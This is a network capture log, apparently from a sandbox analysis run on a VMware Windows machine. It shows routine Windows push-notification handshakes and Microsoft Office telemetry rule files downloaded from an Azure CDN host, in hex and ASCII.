2024-11-17 09:07:08 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-17 09:07:08 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 59 75 4a 72 6d 33 2f 39 37 6b 75 30 31 67 66 43 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 34 30 37 64 36 66 35 32 38 30 30 37 37 62 37 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 66 41 73 38 55 6c 4d 30 77 38 36 50 6e 44 55 43 67 54 61 38 72 6f 6b 47 4a 50 6d 39 4a 51 58 46 73 52 54 58 4d 4b 68 36 77 41 46 33 6e 47 51 2b 7a 72 62 47 70 50 58 61 4c 49 58 42 76 67 79 37 52 6d 65 54 72 68 38 4b 70 31 45 73 50 79 44 37 39 78 66 56 57 6f 64 6b 2f 72 74 4a 48 63 55 34 79 6f 71 7a 30 6b 43 72 52 48 6d 57 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: YuJrm3/97ku01gfC.2Context: b407d6f5280077b7<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAefAs8UlM0w86PnDUCgTa8rokGJPm9JQXFsRTXMKh6wAF3nGQ+zrbGpPXaLIXBvgy7RmeTrh8Kp1EsPyD79xfVWodk/rtJHcU4yoqz0kCrRHmW
2024-11-17 09:07:08 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 59 75 4a 72 6d 33 2f 39 37 6b 75 30 31 67 66 43 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 34 30 37 64 36 66 35 32 38 30 30 37 37 62 37 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: YuJrm3/97ku01gfC.3Context: b407d6f5280077b7<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-17 09:07:08 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-17 09:07:08 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 33 50 4b 4c 6b 36 79 58 4d 45 75 38 30 48 78 78 73 63 61 43 33 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 3PKLk6yXMEu80HxxscaC3w.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49710	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:12 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:12 UTC	499	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:12 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 16 Nov 2024 09:12:53 GMT ETag: "0x8DD061EDA65C651" x-ms-request-id: 1f2ca79a-801e-0015-0d8f-38f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090712Z-16547b76f7fkf5v9hC1DFW2y5s00000003y0000000008pwb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-17 09:07:12 UTC	15885	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-17 09:07:12 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R>
2024-11-17 09:07:12 UTC	16384	IN	Data Raw: 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 Data Ascii: $!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="
2024-11-17 09:07:12 UTC	16384	IN	Data Raw: 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 Data Ascii: <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T
2024-11-17 09:07:12 UTC	16384	IN	Data Raw: 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 Data Ascii: rsona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False">
2024-11-17 09:07:13 UTC	16384	IN	Data Raw: 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 Data Ascii: T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="
2024-11-17 09:07:13 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <
2024-11-17 09:07:13 UTC	16384	IN	Data Raw: 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d Data Ascii: </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-17 09:07:13 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d Data Ascii: <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-17 09:07:13 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus"

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49711	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:14 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:14 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:14 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 31be6f69-e01e-00aa-387f-37ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090714Z-16547b76f7fz92z5hC1DFWmdx800000002dg000000003sn0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:14 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:14 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:14 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:14 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: ec16a966-001e-0014-49c6-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090714Z-16547b76f7f5b5tthC1DFWuk8400000002r00000000062ra x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 09:07:14 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:14 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:14 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:14 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 57a2975a-501e-0078-749b-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090714Z-16547b76f7f6892shC1DFWawd000000000y000000000h2vg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:14 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:14 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:14 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6c84f393-101e-007a-65a5-36047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090714Z-16547b76f7f64d6whC1DFWf9vn00000002k000000000fbqa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
